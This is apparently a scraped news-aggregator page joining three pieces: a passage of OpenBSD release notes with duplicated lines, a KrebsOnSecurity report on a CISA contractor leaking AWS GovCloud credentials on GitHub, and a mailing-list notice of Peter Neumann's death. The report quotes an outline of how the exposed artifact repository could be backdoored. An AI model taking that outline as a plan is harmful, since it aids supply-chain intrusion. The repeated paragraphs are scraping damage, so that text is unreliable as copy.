Implemented a ddb(4) stop com­mand that sends a SIGSTOP to the spec­i­fied pid.

Made ddb(4) out­put vis­i­ble when en­ter­ing ddb from X on amdgpu.

Added in­fra­struc­ture to al­low fu­ture sup­port of up to 52 par­ti­tions per disk.

Made changes to avoid mem­ory al­lo­ca­tion from within the swapen­crypt path of the pagedae­mon by pre-al­lo­cat­ing 32 swap­clus­ters up-front.

Changed the strat­egy by which the pagedae­mon cre­ates free mem­ory by over­shoot­ing the cre­ation of in­ac­tive and free pages, in or­der to de­frag­ment mem­ory.

Refuse to load a bi­nary with­out a PT_LOAD exec seg­ment.

Suspend/Hibernate Support:

Implemented de­layed hi­ber­na­tion: In or­der to pre­vent run­ning out of bat­tery while sus­pended, this fea­ture wakes up a sus­pended sys­tem af­ter a con­fig­urable time to then im­me­di­ately per­form a hi­ber­na­tion. The machdep.hi­ber­nat­ede­lay sysctl(2) is used to con­fig­ure the num­ber of sec­onds af­ter which the sys­tem will wake up from sus­pend and hi­ber­nate it­self.

Implemented de­layed hi­ber­na­tion: In or­der to pre­vent run­ning out of bat­tery while sus­pended, this fea­ture wakes up a sus­pended sys­tem af­ter a con­fig­urable time to then im­me­di­ately per­form a hi­ber­na­tion. The machdep.hi­ber­nat­ede­lay sysctl(2) is used to con­fig­ure the num­ber of sec­onds af­ter which the sys­tem will wake up from sus­pend and hi­ber­nate it­self.

SMP Improvements:

Unlocked socket splic­ing. Unlocked icm­p6_sysctl(). Unlocked the IGMP slow time­out. Enabled par­al­lel fault han­dling on amd64 and ar­m64. Made bse(4) in­ter­rupts mp-safe. Protected the IGMP and MLD6 fast timers with an rwlock.

Unlocked socket splic­ing.

Unlocked icm­p6_sysctl().

Unlocked the IGMP slow time­out.

Enabled par­al­lel fault han­dling on amd64 and ar­m64.

Made bse(4) in­ter­rupts mp-safe.

Protected the IGMP and MLD6 fast timers with an rwlock.

Direct Rendering Manager and graph­ics dri­vers:

Updated drm(4) to Linux 6.18.22.

Updated drm(4) to Linux 6.18.22.

VMM/VMD and vir­tu­al­iza­tion im­prove­ments:

Adopted PCI-based se­man­tics for read­ing un­sup­ported or in­valid reg­is­ters by re­turn­ing all 1′s. Newer Linux ker­nels have started us­ing 128-bit fea­ture spaces. Added sysctl(8) machdep.vm­mode to in­di­cate sta­tus as a host or guest (and SEV mode). Added vm­boot, a tiny ker­nel that al­lows sysup­grade(8) to work for vmd(8) VMs. Allowed cd(4)/​vioscsi(4) on a VM to use con­fi­den­tial com­put­ing meth­ods, e.g. AMD SEV. Fixed a seg­fault in vmd(8) dur­ing vmmci time­out fir­ing. Enabled 32-bit di­rect ker­nel launch for both amd64 and i386 in vmd(8). Fixed a race in vmd(8) vm pause bar­rier us­age. Fixed a race in vmm(4) vm ter­mi­na­tion path. Added em­u­la­tion of AMD SysCfg MSR in vmm(4). Made OpenBSD work on Apple Virtualization. Only ex­pose pv­clock(4) in vmm(4) if tsc fre­quency is known. Reduced vmd(8) lowmem area in the mem­ory map to help Linux guest re­boot is­sues. Prevented vmd(8) pause dead­lock when vcpu does­n’t halt. Fixed timer em­u­la­tion-re­lated OpenBSD-i386 VM hangs when us­ing the i8254 hard­ware time­counter with vmm(4). Made vio(4) re­cover from missed RX in­ter­rupts. Fixed vmd(8) vionet re­set race lead­ing to bro­ken net­work­ing.

Adopted PCI-based se­man­tics for read­ing un­sup­ported or in­valid reg­is­ters by re­turn­ing all 1′s. Newer Linux ker­nels have started us­ing 128-bit fea­ture spaces.

Added sysctl(8) machdep.vm­mode to in­di­cate sta­tus as a host or guest (and SEV mode).

Added vm­boot, a tiny ker­nel that al­lows sysup­grade(8) to work for vmd(8) VMs.

Allowed cd(4)/​vioscsi(4) on a VM to use con­fi­den­tial com­put­ing meth­ods, e.g. AMD SEV.

Fixed a seg­fault in vmd(8) dur­ing vmmci time­out fir­ing.

Enabled 32-bit di­rect ker­nel launch for both amd64 and i386 in vmd(8).

Fixed a race in vmd(8) vm pause bar­rier us­age.

Fixed a race in vmm(4) vm ter­mi­na­tion path.

Added em­u­la­tion of AMD SysCfg MSR in vmm(4).

Made OpenBSD work on Apple Virtualization.

Only ex­pose pv­clock(4) in vmm(4) if tsc fre­quency is known.

Reduced vmd(8) lowmem area in the mem­ory map to help Linux guest re­boot is­sues.

CISA Admin Leaked AWS GovCloud Keys on Github

krebsonsecurity.com

Until this past week­end, a con­trac­tor for the Cybersecurity & Infrastructure Security Agency (CISA) main­tained a pub­lic GitHub repos­i­tory that ex­posed cre­den­tials to sev­eral highly priv­i­leged AWS GovCloud ac­counts and a large num­ber of in­ter­nal CISA sys­tems. Security ex­perts said the pub­lic archive in­cluded files de­tail­ing how CISA builds, tests and de­ploys soft­ware in­ter­nally, and that it rep­re­sents one of the most egre­gious gov­ern­ment data leaks in re­cent his­tory.

On May 15, KrebsOnSecurity heard from Guillaume Valadon, a re­searcher with the se­cu­rity firm GitGuardian. Valadon’s com­pany con­stantly scans pub­lic code repos­i­to­ries at GitHub and else­where for ex­posed se­crets, au­to­mat­i­cally alert­ing the of­fend­ing ac­counts of any ap­par­ent sen­si­tive data ex­po­sures. Valadon said he reached out be­cause the owner in this case was­n’t re­spond­ing and the in­for­ma­tion ex­posed was highly sen­si­tive.

A redacted screen­shot of the now-de­funct Private CISA repos­i­tory main­tained by a CISA con­trac­tor.

The GitHub repos­i­tory that Valadon flagged was named Private-CISA,” and it har­bored a vast num­ber of in­ter­nal CISA/DHS cre­den­tials and files, in­clud­ing cloud keys, to­kens, plain­text pass­words, logs and other sen­si­tive CISA as­sets.

Valadon said the ex­posed CISA cre­den­tials rep­re­sent a text­book ex­am­ple of poor se­cu­rity hy­giene, not­ing that the com­mit logs in the of­fend­ing GitHub ac­count show that the CISA ad­min­is­tra­tor dis­abled the de­fault set­ting in GitHub that blocks users from pub­lish­ing SSH keys or other se­crets in pub­lic code repos­i­to­ries.

Passwords stored in plain text in a csv, back­ups in git, ex­plicit com­mands to dis­able GitHub se­crets de­tec­tion fea­ture,” Valadon wrote in an email. I hon­estly be­lieved that it was all fake be­fore an­a­lyz­ing the con­tent deeper. This is in­deed the worst leak that I’ve wit­nessed in my ca­reer. It is ob­vi­ously an in­di­vid­u­al’s mis­take, but I be­lieve that it might re­veal in­ter­nal prac­tices.”

One of the ex­posed files, ti­tled importantAWStokens,” in­cluded the ad­min­is­tra­tive cre­den­tials to three Amazon AWS GovCloud servers. Another file ex­posed in their pub­lic GitHub repos­i­tory — AWS-Workspace-Firefox-Passwords.csv” — listed plain­text user­names and pass­words for dozens of in­ter­nal CISA sys­tems. According to Caturegli, those sys­tems in­cluded one called LZ-DSO,” which ap­pears short for Landing Zone DevSecOps,” the agen­cy’s se­cure code de­vel­op­ment en­vi­ron­ment.

Philippe Caturegli, founder of the se­cu­rity con­sul­tancy Seralys, said he tested the AWS keys only to see whether they were still valid and to de­ter­mine which in­ter­nal sys­tems the ex­posed ac­counts could ac­cess. Caturegli said the GitHub ac­count that ex­posed the CISA se­crets ex­hibits a pat­tern con­sis­tent with an in­di­vid­ual op­er­a­tor us­ing the repos­i­tory as a work­ing scratch­pad or syn­chro­niza­tion mech­a­nism rather than a cu­rated pro­ject repos­i­tory.

The use of both a CISA-associated email ad­dress and a per­sonal email ad­dress sug­gests the repos­i­tory may have been used across dif­fer­ently con­fig­ured en­vi­ron­ments,” Caturegli ob­served. The avail­able Git meta­data alone does not prove which end­point or de­vice was used.”

The Private CISA GitHub repo ex­posed dozens of plain­text cre­den­tials for im­por­tant CISA GovCloud re­sources.

Caturegli said he val­i­dated that the ex­posed cre­den­tials could au­then­ti­cate to three AWS GovCloud ac­counts at a high priv­i­lege level. He said the archive also in­cludes plain text cre­den­tials to CISAs in­ter­nal artifactory” — es­sen­tially a repos­i­tory of all the code pack­ages they are us­ing to build soft­ware — and that this would rep­re­sent a juicy tar­get for ma­li­cious at­tack­ers look­ing for ways to main­tain a per­sis­tent foothold in CISA sys­tems.

That would be a prime place to move lat­er­ally,” he said. Backdoor in some soft­ware pack­ages, and every time they build some­thing new they de­ploy your back­door left and right.”

In re­sponse to ques­tions, a spokesper­son for CISA said the agency is aware of the re­ported ex­po­sure and is con­tin­u­ing to in­ves­ti­gate the sit­u­a­tion.

Currently, there is no in­di­ca­tion that any sen­si­tive data was com­pro­mised as a re­sult of this in­ci­dent,” the CISA spokesper­son wrote. While we hold our team mem­bers to the high­est stan­dards of in­tegrity and op­er­a­tional aware­ness, we are work­ing to en­sure ad­di­tional safe­guards are im­ple­mented to pre­vent fu­ture oc­cur­rences.”

A re­view of the GitHub ac­count and its ex­posed pass­words show the Private CISA repos­i­tory was main­tained by an em­ployee of Nightwing, a gov­ern­ment con­trac­tor based in Dulles, Va. Nightwing de­clined to com­ment, di­rect­ing in­quiries to CISA.

CISA has not re­sponded to ques­tions about the po­ten­tial du­ra­tion of the data ex­po­sure, but Caturegli said the Private CISA repos­i­tory was cre­ated on November 13, 2025. The con­trac­tor’s GitHub ac­count was cre­ated back in September 2018.

The GitHub ac­count that in­cluded the Private CISA repo was taken of­fline shortly af­ter both KrebsOnSecurity and Seralys no­ti­fied CISA about the ex­po­sure. But Caturegli said the ex­posed AWS keys in­ex­plic­a­bly con­tin­ued to re­main valid for an­other 48 hours.

CISA is cur­rently op­er­at­ing with only a frac­tion of its nor­mal bud­get and staffing lev­els. The agency has lost nearly a third of its work­force since the be­gin­ning of the sec­ond Trump ad­min­is­tra­tion, which forced a se­ries of early re­tire­ments, buy­outs, and res­ig­na­tions across the agen­cy’s var­i­ous di­vi­sions.

The now-de­funct Private CISA repo showed the con­trac­tor also used eas­ily-guessed pass­words for a num­ber of in­ter­nal re­sources; for ex­am­ple, many of the cre­den­tials used a pass­word con­sist­ing of each plat­for­m’s name fol­lowed by the cur­rent year. Caturegli said such prac­tices would con­sti­tute a se­ri­ous se­cu­rity threat for any or­ga­ni­za­tion even if those cre­den­tials were never ex­posed ex­ter­nally, not­ing that threat ac­tors of­ten use key cre­den­tials ex­posed on the in­ter­nal net­work to ex­pand their reach af­ter es­tab­lish­ing ini­tial ac­cess to a tar­geted sys­tem.

What I sus­pect hap­pened is [the CISA con­trac­tor] was us­ing this GitHub to syn­chro­nize files be­tween a work lap­top and a home com­puter, be­cause he has reg­u­larly com­mit­ted to this repo since November 2025,” Caturegli said. This would be an em­bar­rass­ing leak for any com­pany, but it’s even more so in this case be­cause it’s CISA.”

[TUHS] Fwd: [multicians] Peter Neumann has died

www.tuhs.org

Previous mes­sage (by thread): [TUHS] time on bsd 2.11 on a pdp11

Next mes­sage (by thread): [TUHS] RIP Peter Salus

Messages sorted by: [ date ] [ thread ] [ sub­ject ] [ au­thor ]

Tom van Vleck just passed the be­low for­warded mes­sage on the Multics mail­ing list. Very sad news.

- Dan C.

––––– Forwarded mes­sage ––––- From: Tom Van Vleck via groups.io <thvv=multicians.org at groups.io> Date: Sun, May 17, 2026, 1:27 PM Subject: [multicians] Peter Neumann has died To: <multicians at groups.io>

Robert Watson wrote me

Unfortunately, I email with the heart­break­ing news that Peter Neumann passed away in his sleep last night, at the hos­pi­tal in Santa Clara, due to com­pli­ca­tions aris­ing from his fall and sub­se­quent surgery a few weeks ago. His daugh­ter Hellie was with him at the hos­pi­tal at the time, and they had been lis­ten­ing to clas­si­cal mu­sic to­gether — as you may know, mu­sic was an­other of his great loves in life be­yond com­puter se­cu­rity, with Peter an ac­com­plished player of the pi­ano, French horn, and var­i­ous other in­stru­ments. Hellie has asked me to reach out to his friends and col­leagues with this news — it’s still early in the morn­ing in California and I will send on more in­for­ma­tion in due course, but it is cur­rently be­lieved that SRI will host a memo­r­ial ser­vice for him in Menlo Park in a month or so.

https://​www.csl.sri.com/~​neu­mann/ is Peter’s SRI home page.

He was a won­der­ful friend and col­league.

_._,_._,_ ––––––––––––––– Groups.io Links:

You re­ceive all mes­sages sent to this group.

View/Reply Online (#5960) <https://​groups.io/​g/​mul­ti­cians/​mes­sage/​5960> | Reply to Group <multicians at groups.io?sub­ject=Re:%20%5B­mul­ti­cians%5D%20Peter%20Neu­mann%20has%20died> | Reply to Sender <thvv at mul­ti­cians.org?sub­ject=Pri­vate:%20Re:%20%5B­mul­ti­cians%5D%20Peter%20Neu­mann%20has%20died> | Mute This Topic <https://​groups.io/​mt/​119360690/​481017> | New Topic <https://​groups.io/​g/​mul­ti­cians/​post> ––––––––––––––– — sent via mul­ti­cians at groups.io — more Multics info at https://​mul­ti­cians.org/ ––––––––––––––– Your Subscription <https://​groups.io/​g/​mul­ti­cians/​ed­it­sub/​481017> | Contact Group Owner <multicians+owner at groups.io> | Unsubscribe <https://​groups.io/​g/​mul­ti­cians/​leave/​5961246/​481017/​1924879241/​xyzzy> [ crossd at gmail.com] _._,_._,_

Previous mes­sage (by thread): [TUHS] time on bsd 2.11 on a pdp11

Next mes­sage (by thread): [TUHS] RIP Peter Salus

Messages sorted by: [ date ] [ thread ] [ sub­ject ] [ au­thor ]

To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".

10HN is also available as an iOS App

If you visit 10HN only rarely, check out the the best articles from the past week.

Visit pancik.com for more.